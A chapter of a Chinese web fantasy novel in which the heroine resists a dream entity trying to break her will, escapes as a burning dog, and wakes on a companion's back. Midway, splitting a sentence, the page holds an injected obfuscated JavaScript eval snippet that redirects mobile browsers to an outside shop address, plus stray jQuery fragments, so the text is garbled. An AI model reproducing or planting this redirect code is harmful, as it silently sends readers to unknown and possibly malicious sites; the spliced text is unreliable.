文趣网 > 其他小说 > 论地球唯一人类的含金量 > 13. 假如我是一条狗
    大幕缓缓落下,整场演出就此收尾,星光散尽,最终只剩两把座椅。

    沉沉夜色,阿法玫伽开口:“看来这场电影已经完成了它的使命。您感到愤怒,也为其中的不公而失落,这便足够了。您觉得这个故事如何?”

    夜骸看了祂一眼,思索片刻,撑着头说:“一般。”

    漫长的沉默伴随着流淌的群星,一点一滴地推动时间。

    “一般?”阿法玫伽轻声反问:“您一幕不差地看完,为它愤怒,也为它难过。这样的反应,可不像一句‘一般’。”

    “哈?就是一般。”夜骸皱着眉,说道:“因为我不喜欢,就这么简单。”

    “……不喜欢?”祂用极慢的语调,仿佛在咀嚼这三个字一般。

    “不……”阿法玫伽起身,走到她面前。

    无数条乳白发光的触手缠住座椅。阿法玫伽微微前倾,夜骸镇定后仰。

    她也不想这样,但阿法玫伽那条没有距离感的左腿,已经屈膝压了过来。

    为了不让自己的大腿被压着,夜骸只能顺势张开腿,祂的膝盖就那么挤入她两腿之间,跪在椅面上。

    “……”夜骸下意识偏头。

    阿法玫伽不曾让她回避,双手扶正她的头,再次前倾,几乎将整个身子压在单人椅上。

    “……”如此近的距离,夜骸能感受到祂没有呼吸,只有扑面而来的冷气。她下意识摸向腰边的两把刀,早没了,口袋的魔晶,也被清空。

    果然,梦境是祂的维度……现在她真成了砧板上的鱼肉,任人宰割。

    他们就这么额头相抵,那轻纱之下朦胧的面容竟让夜骸有些熟悉。

    恍惚间,她却想不起那是谁,唯有幽幽绿光在面纱另一处闪动。

    近在咫尺,祂轻声细语:“您可以瞒过自己,却瞒不过梦境。无论是皮埃尔,还是斯诺,您的愤怒都如此清晰。既然并非无动于衷,又为什么不肯承认,还要用‘一般’做借口呢?”

    阿法玫伽湿滑的手抚上她的左脸,那冰冷的指尖毫不讲理地压入她的嘴角。

    夜骸能感到祂用了不少力,被迫露出一节犬齿。

    “为什么……不说话呢?”祂问着。

    “唉。”夜骸忍住咬神的冲动,眼眸难掩无奈,“到底要怎么跟你说呢?我承认,我那时候确实很愤怒。但那又如何?过去的事,难道还要我一直记着吗?”

    “我不想让自己沉溺在别人的过往。”她抬眼,认真地问着:“反倒是你。”

    “你好像很在意我的感受,梦境之初就让我与奥拓斯共感。这一桩桩惨案轮番上演,而你一直调动我的情绪,想让我处于愤怒之中,那个公爵也是……”夜骸伸出一根食指,抵在祂额前,“难不成,我的情绪,或者说愤怒,是重要到需要操纵的东西吗?”

    “……”阿法玫伽没有回应,那只冰冷的手再次擦去她嘴角的津液,轻声低语:“原来如此,看了就忘,您是这般薄情寡义之人。”

    “你有病吧。”夜骸嘴角抽搐。

    但阿法玫伽未曾理她,自顾自说道:“不……不是的。您只是把感情藏得太深,害怕自己陷入罢了。请别忘了,在梦境之中没有人比我更了解您,您会因什么愤怒,又会因什么失控,我一清二楚。”

    “什么?”夜骸的疑惑还未脱口,原本已经落下帷幕的银幕再次亮起,电影继续播放。

    但并非是奥拓斯,而是她的过去。

    那片由星河凝聚的银幕中,飘出各种混乱的声音。女人的哀嚎、孩童的啜泣,伴随着祷告的低语混作一团,直直插入她的脑海里。

    “不……”她咬着牙,死死地闭着眼睛,“我不要看。”

    “不。”祂强硬地分开她的眼皮,再次逼近,“不,你要看。”

    夜骸想合上眼睛,从齿缝里挤出字来:“闭嘴……”

    阿法玫伽力道不减反增,死死地钳制住她,将她钉在椅子上,拇指卡回她的齿间,娓娓道来:“您知道吗,人类是一种极其特殊的造物,是地球意志的化身,他们不像二次产物的魔人。人类渺小如尘蚁,却能知晓世界法则。人类是特别的,你也是。他们只需一个坚定的意志便能变强,直到与神造魔种比肩。

    “可您却一直压抑着自己的力量和想法。您分明那么痛恨魔种,却还要装作无事发生,与他们和平相处。”阿法玫伽声音放得愈发轻柔:“再随我回去,回到罪恶的开端,看看那些魔种曾对人类犯下的罪孽……我会指引您,让您的愤怒化作火焰,将这一切燃烧殆尽……”

    长夜无言,余音浮荡。夜骸能感受到绞着的触手愈加收紧。

    “说得真好听……如果想想就能变强,为什么人类全都死光了?”她费力地喘上一口气,话里话外满是嘲弄:“那群魔种对人类做过什么,又死了多少人,人类的命运对我而言根本不重要!”

    “呃啊……”触手猛地绞紧,全身传来阵阵剧痛,她宛如被捏在掌心的蚂蚁,存在稍纵即逝。

    炙热的液体从七窍溢出,夜骸分不清是泪还是鲜血。

    这就急了?想让她愤怒?

    不!不!不!绝对不!大不了死一次再重生,也不能如祂愿。

    “不。”阿法玫伽读懂她的心声,触手也随之收紧。

    下一秒,巨量的魔力瞬间席卷整个梦境,夜骸双脚离地,被硬生生地拉了起来,就像即将吊死的人。

    “您身为神明眷属,又是圣域悬赏最高逃犯,我现在终于明白,您为何会落得如此可怜。原来,您就这么碌碌无为地度过百年岁月,连自己的力量也不曾接受。从现在开始,您那偏离航线的命运,便由我纠正。”

    祂的语气无喜无悲,一字一句:“既然您如此抗拒,那么若是彻底摧毁您的意志,直到您变得像白纸那般空白,再由我作为引领者为您重新塑形。这样,您是否就能更容易接受人类的力量呢?”

    “呜呃……”

    渐渐地,她感受到肢端发麻,仅靠本能,夜骸做了一个决定——

    “tui……早就想这么做了。”

    温热的口水吐在阿法玫伽的轻纱上。

    “……”

    “好啊!我倒要看看是你的白纸厉害,还是我的意志坚定!”她又朝祂吐了一口血。气极反笑,吃力地骂着:“我要成为什么样的人,也轮不到……你来管。”

    “就算成为一条狗……那也是我的选择!”

    “……”

    “很好……”阿法玫伽轻声回应,强大的魔力裹挟着白光猛地在她身上炸开,辱骂声戛然而止,一切都结束了。

    不,白光落下,触手炸裂,一条条纷飞的肉条宛若破碎的花瓣,散去又落在祂的脚边。

    阿法玫伽低下头,话中带上一丝诧异:“没想到,您居然是以这种形态来反抗……”

    蔚蓝的火光从触手开始蔓延,梦境宛若被浇上汽油,迅速被蓝火吞噬,葬身于火海。

    幽蓝的明

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768534|208396||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    火映在阿法玫伽身前,祂望着被烧出黑洞的梦境,一言不发。

    漆黑的洞口倒出流沙般的繁星,倾泻而下,细碎的光粒簌簌坠落。

    天空也在一块块崩塌,无声落下。

    而——罪魁祸首。

    “汪?”

    发出这道气死人不偿命的声音,竟是一只毛茸茸的黑色红眼小型犬?!

    “你……”阿法玫伽低头看着她。

    而她正开心地摇着尾巴,犬身带着淡蓝色的火焰,吐着舌头,一脚一个爪印。

    她甚至钻过阿法玫伽的□□,走在梦境中。

    每一个步子落下,都会点起一缕火苗,加速梦境火化。

    可小狗毫无悔意,一个劲儿地噗嗤噗嗤向前狂奔,离阿法玫伽远去。

    梦境的天地化作两条平行线,而肆意燃烧的蓝火,将美如画的夜空寸寸烧毁。

    曾经倒映星空的天空之镜被烧得支离破碎,光滑的地板被烧出窟窿,而下方是无尽的深渊。

    阿法玫伽站在水镜之中,与她愈来愈远,逐渐成为一点。无穷的火焰在吞噬最后一片星空时,天际猛然坍塌,无声落幕。

    只留下一声叹息。

    “您为了挣脱梦境,不惜做到这般地步。那么我们只能……下次见。”

    走在梦境中的小狗并未回应,摇头晃脑地踏出左脚,一不留神,掉入自己烧出的黑洞。

    而梦境的深渊之下是——

    ※※※

    “呜!”

    “夜骸小姐,您怎么了!”

    回到现实,趴在镜挽灯背上的夜骸猛地抽搐。

    她用力推开镜挽灯,毫无形象地坐在地上,抱着左腿,小腿的肌肉格外紧绷,每一次呼吸仿佛牵扯着经脉,疼得她几乎喘不过气。

    她能感觉到灵魂都为之颤抖,她刚刚经历了什么,又看到了什么……

    “奥拓斯……我看到了奥拓斯一家……自尽的塔司丽,斯诺,皮埃尔……公爵。但,是谁带我看的……”她欲言又止,努力回想却脑袋空空。

    镜挽灯连忙蹲下,担忧地望着:“您怎么样了,是想起了什么吗?”

    “我……”夜骸低下头,喉间发出微弱的惊呼,指尖颤动难掩委屈。

    “我小腿抽筋了。”

    “……”

    他又问:“除此之外呢?”

    “腿好痛,走不动,你还会背我吧?”

    “……会的。”

    “嘶——”夜骸倒吸一口冷气,试图让自己清醒些,一瘸一拐地爬上镜挽灯的后背。

    闻着他身上的阵阵清香,夜骸感觉很熟悉,但就像那场梦一样,怎么也记不起来。

    “又是这种感觉。”

    脑海再次闪过奥拓斯一家的回忆,她来不及纠结,只有颈间仍残留着窒息感。

    夜骸感到一阵寒意,对她来说能在别人背上睡着这件事,本就异乎寻常,稍不留神就会没命。

    “到底是什么情况……”她不自觉攥紧镜挽灯落下的银发。

    “夜骸小姐,您在颤抖吗?”

    “……”夜骸靠在他的背上,愣愣地目视前方,喃喃自语:“我在……颤抖吗?”

    “嗯,路上是有点冷了呢,您可以再睡一会儿。”镜挽灯轻声说着:“这一次,一定不再是噩梦。”

    石地上的影子相互交叠,这份宁静,如此短暂。

    “……”她无声回应,闭上双眼,将他搂得更紧。